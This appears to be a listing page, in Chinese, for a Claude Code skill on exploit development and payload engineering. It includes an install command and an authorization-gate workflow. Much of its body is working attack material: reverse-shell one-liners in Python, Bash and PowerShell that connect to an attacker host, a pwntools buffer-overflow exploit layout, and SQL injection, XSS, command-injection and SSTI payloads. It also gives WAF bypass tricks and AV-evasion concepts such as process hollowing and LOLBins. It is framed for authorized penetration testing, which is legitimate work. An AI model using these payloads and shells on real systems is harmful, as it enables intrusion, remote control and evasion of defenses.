关于 Exploit Development & Payload Engineering
面向安全专业人员的 Claude 技能,用于授权范围内的漏洞研究、PoC 开发和载荷工程。开始前必须确认授权,并提供 CVE、二进制利用及 Web 载荷工作流程。
主要功能
- 01利用前确认授权
- 02CVE 研究与 PoC 规范
- 03载荷生成指导
- 04缓冲区溢出与 ROP 流程
- 05Web 利用载荷指导
- 06考虑缓解措施的 PoC 规范
适用场景
- 01开发授权范围内的 CVE 概念验证
- 02为授权测试生成载荷
- 03在 CTF 中练习二进制利用
- 04检查 PoC 是否考虑缓解措施
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ masriyan/ claude-code-cybersecurity-skill --skill exploit-development-&-payload-engineering安装后在 Claude Code 中输入/exploit-development-&-payload-engineering确认已加载。
附带文件examples/example_usage.mdscripts/payload_generator.py
详细介绍
漏洞利用开发与载荷工程
目的
帮助 Claude 协助安全专业人员开展经授权的漏洞利用开发、概念验证(PoC)制作、载荷工程和漏洞利用研究。此技能中的所有工作流都要求在继续之前确认授权情况。
关键——授权门槛:执行此技能中的任何任务之前,Claude 必须确认以下授权情形之一:
- 书面渗透测试授权(范围文档、SOW 或交战规则)
- 漏洞赏金计划范围(确认目标在范围内)
- CTF 竞赛(确认挑战名称和平台)
- 用户拥有的隔离实验环境
- 对用户开发的软件开展安全研究
如果以上情况均不适用,Claude 必须拒绝并说明原因。
触发条件
当用户询问以下内容时,此技能会启用:
- 为漏洞开发 PoC(概念验证)
- 创建反向 Shell、绑定 Shell 或载荷生成器
- 缓冲区溢出利用或 ROP 链构造
- SQL 注入、XSS、SSRF 或命令注入载荷
- Shellcode 开发或分析
- CVE 利用技术(经授权)
- 用于经授权测试的 AV/EDR 规避技术
- pwntools、msfvenom 或漏洞利用框架的使用方法
前置条件
pip install pwntools keystone-engine capstone
经授权的测试项目可选工具:
pwntools— 二进制漏洞利用框架msfvenom— Metasploit 载荷生成器ROPgadget— ROP 链发现工具GDB + GEF/PEDA/pwndbg— 调试
授权验证工作流
在开展任何漏洞利用开发任务之前,Claude 会询问:
To proceed with exploit development, please confirm your authorization context:
1. What is the target system/software?
2. What is your authorization? (e.g., "pentest engagement with signed SOW",
"CTF challenge: [name]", "my own lab", "bug bounty — [program name]")
3. What is the scope or environment? (e.g., isolated VM, production network?)
Without clear authorization context, I cannot assist with active exploitation.
核心功能
1. CVE 研究与 PoC 开发
当用户要求针对已知 CVE 开发 PoC 时:
- 研究漏洞 — 获取官方公告、NVD 条目和公开分析文章
- 对漏洞类型进行分类 — 缓冲区溢出、注入、反序列化、逻辑缺陷等
- 确定受影响组件 — 具体函数、库、端点或代码路径
- 确定前置条件 — 是否需要身份验证?是否需要网络访问?是否需要特定版本?
- 梳理利用路径 — 从易受攻击的输入到造成影响需要哪些步骤?
- 确定负责的范围 — 先使用仅检查模式(检测但不利用)
- 使用下方的标准模板编写结构化 PoC
标准 PoC 模板:
#!/usr/bin/env python3
"""
PoC for CVE-YYYY-XXXX: [Vulnerability Title]
Affected: [Software Name] [Affected Versions]
Fixed in: [Patched Version]
Type: [Vulnerability Class — e.g., Heap Buffer Overflow]
CVSS: [Score] ([Severity])
Author: [Your name] | Date: [Date]
DISCLAIMER: For authorized security testing and research only.
Unauthorized use is illegal and unethical.
Usage:
Check-only mode (safe): python poc.py --target host --check-only
Exploitation mode: python poc.py --target host --payload [payload]
"""
import argparse
import sys
def check_vulnerable(target: str) -> bool:
"""Detect vulnerability without exploitation. Safe to run."""
# [Detection logic — version check, response fingerprint, etc.]
pass
def exploit(target: str, payload: bytes) -> None:
"""Execute the exploitation chain. Requires authorization."""
# [Exploitation logic]
pass
def main():
parser = argparse.ArgumentParser(description="PoC for CVE-YYYY-XXXX")
parser.add_argument("--target", required=True, help="Target host:port")
parser.add_argument("--check-only", action="store_true",
help="Only check if target is vulnerable (safe mode)")
parser.add_argument("--payload", help="Payload to deliver")
args = parser.parse_args()
print("[*] Checking authorization: Ensure you have written permission for this target")
if args.check_only:
vulnerable = check_vulnerable(args.target)
print(f"[{'VULN' if vulnerable else 'SAFE'}] Target {'appears vulnerable' if vulnerable else 'does not appear vulnerable'}")
else:
if not args.payload:
print("[-] Payload required for exploitation mode")
sys.exit(1)
exploit(args.target, args.payload.encode())
if __name__ == "__main__":
main()
2. 载荷生成
当用户要求生成载荷(用于经授权的测试)时:
- 明确部署场景:Web 应用、二进制文件、网络服务
- 确定目标操作系统和架构:Linux x64、Windows x86、ARM
- 选择适合该场景的载荷类型
反向 Shell 载荷(供经授权的测试参考):
# Python (cross-platform)
python3 -c "import socket,subprocess,os;s=socket.socket();s.connect(('LHOST',LPORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(['/bin/sh'])"
# Bash
bash -i >& /dev/tcp/LHOST/LPORT 0>&1
# PowerShell (Windows)
powershell -nop -c "$client=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path+'> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
# Use payload_generator.py for structured generation:
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types
载荷类型参考:
| 类型 | 描述 | 用例 |
|---|---|---|
| 反向 Shell | 向攻击者发起连接 | 允许出站连接的防火墙 |
| 绑定 Shell | 监听目标端口 | 未进行出站流量过滤 |
| 分阶段载荷 | 小型引导载荷 + 完整载荷 | 大小受限的场景 |
| Web Shell | PHP/JSP/ASPX Shell | Web 服务器访问 |
| Meterpreter | 功能全面的分阶段载荷 | 漏洞利用后的操作 |
3. 缓冲区溢出利用指南
当用户询问缓冲区溢出利用(经授权的实验环境/CTF)时:
-
模糊测试阶段 — 找出导致崩溃的输入长度:
# pwntools fuzzing from pwn import * p = process('./vuln_binary') for n in range(100, 1000, 100): p.sendline(b'A' * n) if not p.poll(): print(f"Crash at {n} bytes") break -
偏移量发现 — 找到准确的 EIP/RIP 偏移量:
# Generate a cyclic pattern python3 -c "from pwn import *; print(cyclic(500))" # In GDB after crash: x/wx $esp → get value → cyclic_find(value) -
坏字符识别 — 找出会破坏载荷的字节:
badchars = b"\x00" # null byte is almost always bad # Test each byte 0x01-0xff in the payload -
返回地址 / Gadget 选择:
- 未启用 DEP/NX:在可执行内存中查找
JMP ESP - 已启用 DEP:使用
ROPgadget --binary vuln构建 ROP 链 - 已启用 ASLR:查找信息泄露或使用 ret2libc
- 未启用 DEP/NX:在可执行内存中查找
-
构造漏洞利用:
from pwn import * # Layout: [JUNK * offset] + [RET addr] + [NOP sled] + [shellcode] offset = 112 ret_addr = p64(0x401234) # JMP RSP or gadget nop_sled = b"\x90" * 16 shellcode = asm(shellcraft.sh()) # pwntools shellcode payload = b"A" * offset + ret_addr + nop_sled + shellcode
4. Web 利用载荷
当用户请求 Web 利用载荷(用于授权测试)时:
SQL 注入载荷:
-- Union-based (MySQL)
' UNION SELECT null,username,password FROM users-- -
-- Time-based blind (MySQL)
' AND SLEEP(5)-- -
-- Error-based (MySQL)
' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
-- Boolean blind
' AND 1=1-- - (true)
' AND 1=2-- - (false)
XSS 载荷:
// Basic reflected
<script>alert(document.domain)</script>
// Attribute context
" onmouseover="alert(1)
// Filter bypass (no script tag)
<img src=x onerror=alert(1)>
// DOM-based
#"><img src=x onerror=alert(1)>
命令注入载荷:
# Linux separators
; id
| id
&& id
`id`
$(id)
# Windows separators
& whoami
| whoami
SSTI 载荷:
# Jinja2 (Python)
{{7*7}} → 49 (confirms SSTI)
{{config.items()}} → app config
{{''.__class__.__mro__}} → class hierarchy for RCE
# Twig (PHP)
{{7*7}}
{{app.request.server.get('env')}}
5. 规避技术(用于授权红队行动)
当用户询问用于授权测试的 AV/WAF 规避方法时:
WAF 绕过技术:
- 大小写变化:使用
sElEcT而不是SELECT - 注释注入:
SE/**/LECT - URL 编码:用
%27表示单引号 - 双重编码:
%2527 - 空白字符替代:制表符、换行符、
/**/ - HTTP 标头操纵:
X-Forwarded-For、分块编码
AV 规避概念(用于授权红队行动):
- 进程注入:进程镂空、反射式 DLL 注入
- 借力系统自带工具:PowerShell、wmic、certutil、mshta
- 编码载荷:XOR、base64、自定义编码
- 使用签名二进制文件代理执行(LOLBins)
输出标准
生成的所有 PoC 必须包含:
- CVE ID 和受影响的软件版本
- 开头明确声明已获得授权
- 通过
--check-only模式检测而不利用漏洞 - 使用说明和预期输出
- 与漏洞利用一并提供修复步骤
- 适用时提供负责任披露指南
脚本参考
payload_generator.py
python scripts/payload_generator.py --type reverse_shell --os linux --arch x64 --lhost 10.0.0.1 --lport 4444
python scripts/payload_generator.py --type bind_shell --os windows --arch x86 --port 4444
python scripts/payload_generator.py --list-types
技能集成
| 条件 | 下一项/上一项技能 |
|---|---|
| 已确认漏洞 → 构建 PoC | ← Skill 02(漏洞扫描器) |
| 需要对二进制文件进行 RE 以查找漏洞 | ← Skill 04(逆向工程) |
| 在参与行动中交付漏洞利用 | → Skill 14(红队行动) |
| 根据漏洞利用生成检测方案 | → Skill 15(蓝队防御) |
参考资料
- MITRE ATT&CK — 执行(TA0002)
- pwntools 文档
- Exploit-DB
- PayloadsAllTheThings
- GTFOBins
- LOLBAS 项目(Windows)
- PortSwigger Web 安全学院
v3.0 增强功能(2026 年更新)
授权门槛仍然适用——在开展任何 PoC 工作前,确认已获得书面授权,或确认属于 CTF 或实验室范围。
PoC 必须考虑的现代缓解措施:
- 硬件 CFI——Intel CET(影子栈 + IBT)和 ARM PAC/BTI 会破坏简单的 ROP/JOP;记录已启用的缓解措施,以及所需的绕过类别(例如,考虑影子栈的链、ARM 上滥用签名小工具)。
- Windows 防御措施——在提出用户态/内核态利用路径时,考虑 CFG/XFG、ACG、CIG、内核 CET。
- 面向堆的技术——优先使用现代原语(tcache/glibc 2.34+ 中移除
__malloc_hook、House-of-* 变体、UAF→类型混淆),而不是经典 unlink;注明分配器和版本假设。 - 浏览器/JIT 上下文——当目标是 JS 引擎时,说明 V8/JSC 类型混淆以及 addrof/fakeobj 原语模型。
- 反序列化小工具链——对于 Web/应用程序目标,应梳理特定语言的利用入口(Java ysoserial 风格、.NET、PHP POP 链、Python pickle),而不是内存损坏。
- WAF 绕过演进——存在内联 WAF 时,考虑编码/规范化、HTTP 请求走私,以及解析器差异载荷。
**精确性规则:**每个 PoC 都要说明目标架构/操作系统/版本、正在生效的缓解措施、可靠性估计,以及供蓝队采取行动的防御检测特征。